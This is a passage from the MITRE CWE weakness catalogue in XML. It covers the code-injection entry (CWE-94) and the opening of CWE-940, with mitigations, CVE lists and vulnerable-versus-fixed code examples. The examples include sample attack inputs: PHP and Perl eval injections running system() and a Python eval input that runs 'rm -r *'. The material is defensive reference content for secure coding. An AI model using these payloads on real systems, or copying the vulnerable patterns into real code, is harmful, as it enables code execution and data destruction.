            <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Interpreted" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Injected code can access resources that the attacker is directly prevented from accessing.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>Often the actions performed by injected control code are unlogged.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Refactor your program so that you do not have to dynamically generate code.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.</xhtml:p>
                  <xhtml:p>Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-32">
               <Phase>Operation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-32">
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-32">
               <Intro_Text>This example attempts to write user messages to a message file and allow users to view them.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$MessageFile = "messages.out";<xhtml:br/>if ($_GET["action"] == "NewMessage") {<xhtml:div style="margin-left:1em;">$name = $_GET["name"];<xhtml:br/>$message = $_GET["message"];<xhtml:br/>$handle = fopen($MessageFile, "a+");<xhtml:br/>fwrite($handle, "&lt;b&gt;$name&lt;/b&gt; says '$message'&lt;hr&gt;\n");<xhtml:br/>fclose($handle);<xhtml:br/>echo "Message Saved!&lt;p&gt;\n";</xhtml:div>}<xhtml:br/>else if ($_GET["action"] == "ViewMessages") {<xhtml:div style="margin-left:1em;">include($MessageFile);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>name=h4x0r<xhtml:br/>message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E</xhtml:div>
               </Example_Code>
               <Body_Text>which will decode to the following:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>&lt;?php system("/bin/ls -l");?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.</Body_Text>
               <Body_Text>Notice that XSS (CWE-79) is also possible in this situation.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-31">
               <Intro_Text>edit-config.pl: This CGI script is used to modify settings in a configuration file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>use CGI qw(:standard);<xhtml:br/>
                     <xhtml:br/>sub config_file_add_key {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $key, $arg) = @_;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># code to add a field/key to a file goes here</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub config_file_set_key {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $key, $arg) = @_;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># code to set key to a particular file goes here</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub config_file_delete_key {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $key, $arg) = @_;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># code to delete key from a particular file goes here</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub handleConfigAction {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>my ($fname, $action) = @_;<xhtml:br/>my $key = param('key');<xhtml:br/>my $val = param('val');<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># this is super-efficient code, especially if you have to invoke</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># any one of dozens of different functions!</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>my $code = "config_file_$action_key(\$fname, \$key, \$val);";<xhtml:br/>eval($code);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>$configfile = "/home/cwe/config.txt";<xhtml:br/>print header;<xhtml:br/>if (defined(param('action'))) {<xhtml:div style="margin-left:1em;">handleConfigAction($configfile, param('action'));</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print "No action specified!\n";</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>add_key(",","); system("/bin/ls");</xhtml:div>
               </Example_Code>
               <Body_Text>This would produce the following string in handleConfigAction():</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>config_file_add_key(",","); system("/bin/ls");</xhtml:div>
               </Example_Code>
               <Body_Text>Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-156">
              <Intro_Text>This simple script asks a user to supply a list of numbers as input and adds them together.</Intro_Text>
              <Example_Code Nature="Bad" Language="Python">
                <xhtml:div>
                  def main():<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">
                    sum = 0<xhtml:br/>
                    numbers = eval(input("Enter a space-separated list of numbers: "))<xhtml:br/>
                    for num in numbers:<xhtml:br/>
                    <xhtml:div style="margin-left:1em;">
                      sum = sum + num<xhtml:br/>
                    </xhtml:div>
                    print(f"Sum of {numbers} = {sum}")
                  </xhtml:div>
                  main()
                </xhtml:div>
              </Example_Code>
              <Body_Text>The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:</Body_Text>
              <Example_Code Nature="Attack">
                <xhtml:div>__import__('subprocess').getoutput('rm -r *')</xhtml:div>
              </Example_Code>
              <Body_Text>This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.</Body_Text>
	      <Body_Text>A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.</Body_Text>
              <Example_Code Nature="Good" Language="Python">
                <xhtml:div>
                  def main():<xhtml:br/>
                  <xhtml:div style="margin-left:1em;">
                    sum = 0<xhtml:br/>
                    numbers = input("Enter a space-separated list of numbers: ").split(" ")<xhtml:br/>
                    try:<xhtml:br/>
                    <xhtml:div style="margin-left:1em;">
                      for num in numbers:<xhtml:br/>
                      <xhtml:div style="margin-left:1em;">
                        sum = sum + int(num)<xhtml:br/>
                      </xhtml:div>
                      print(f"Sum of {numbers} = {sum}")
                    </xhtml:div>
                    except ValueError:<xhtml:br/>
                    <xhtml:div style="margin-left:1em;">
                      print("Error: invalid input")<xhtml:br/>
                    </xhtml:div>
                  </xhtml:div>
                  main()
                </xhtml:div>
              </Example_Code>
              <Body_Text>An alternative option is to use the ast.literal_eval() function from Python's ast module. This function considers only Python literals as valid data types and will not execute any code contained within the user input.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-2054</Reference>
               <Description>Python compiler uses eval() to execute malicious strings as Python code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-22204</Reference>
               <Description>Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22204</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-8218</Reference>
               <Description>"Code injection" in VPN product, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-8218</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5071</Reference>
               <Description>Eval injection in PHP program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5071</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1750</Reference>
               <Description>Eval injection in Perl program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1750</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5305</Reference>
               <Description>Eval injection in Perl program using an ID that should only contain hyphens and numbers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5305</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1752</Reference>
               <Description>Direct code injection into Perl eval function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1752</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1753</Reference>
               <Description>Eval injection in Perl program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1753</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1527</Reference>
               <Description>Direct code injection into Perl eval function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2837</Reference>
               <Description>Direct code injection into Perl eval function.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2837</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1921</Reference>
               <Description>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1921</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2498</Reference>
               <Description>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2498</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3302</Reference>
               <Description>Code injection into Python eval statement from a field in a formatted file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3302</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1253</Reference>
               <Description>Eval injection in Python program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1253</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1471</Reference>
               <Description>chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1471</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0495</Reference>
               <Description>Perl code directly injected into CGI library file from parameters to another CGI program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0495</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1876</Reference>
               <Description>Direct PHP code injection into supporting template file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1876</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1894</Reference>
               <Description>Direct code injection into PHP script that can be accessed by attacker.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1894</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0395</Reference>
               <Description>PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0395</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_ID>CODE</Entry_ID>
               <Entry_Name>Code Evaluation and Injection</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="242"/>
            <Related_Attack_Pattern CAPEC_ID="35"/>
            <Related_Attack_Pattern CAPEC_ID="77"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 3: Web-Client Related Vulnerabilities (XSS).&#34; Page 63"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Code Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Control Generation of Code (aka 'Code Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Failure to Control Generation of Code ('Code Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="940" Name="Improper Verification of Source of a Communication Channel" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.</Description>
         <Extended_Description>When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Varies by Context</Impact>
               <Note>An attacker can access any functionality that is inadvertently accessible to the source.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack.</xhtml:p>
                  <xhtml:p>When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-112">
               <Intro_Text>This Android application will remove a user account when it receives an intent to do so:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>IntentFilter filter = new IntentFilter("com.example.RemoveUser");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:br/>public class DeleteReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">int userID = intent.getIntExtra("userID");<xhtml:br/>destroyUserData(userID);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-109">
               <Intro_Text>These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:i>// Android</xhtml:i>
                     <xhtml:br/>@Override<xhtml:br/>public boolean shouldOverrideUrlLoading(WebView view, String url){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){<xhtml:div style="margin-left:1em;">if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){<xhtml:div style="margin-left:1em;">writeDataToView(view, UserData);<xhtml:br/>return false;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">return true;</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Objective-C">
                  <xhtml:div>
                     <xhtml:i>// iOS</xhtml:i>
                     <xhtml:br/>-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>NSURL *URL = [exRequest URL];<xhtml:br/>if ([[URL scheme] isEqualToString:@"exampleScheme"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>NSString *functionString = [URL resourceSpecifier];<xhtml:br/>if ([functionString hasPrefix:@"specialFunction"])<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Make data available back in webview.</xhtml:i>
                                       <xhtml:br/>UIWebView *webView = [self writeDataToView:[URL query]];</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>return NO;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return YES;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>A call into native code can then be initiated by passing parameters within the URL:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>window.location = examplescheme://method?parameter=value</xhtml:div>
               </Example_Code>
               <Body_Text>Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1218</Reference>
               <Description>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1218</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0877</Reference>
               <Description>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0877</Link>
            </Observed_Example>
            <Observed_Example>
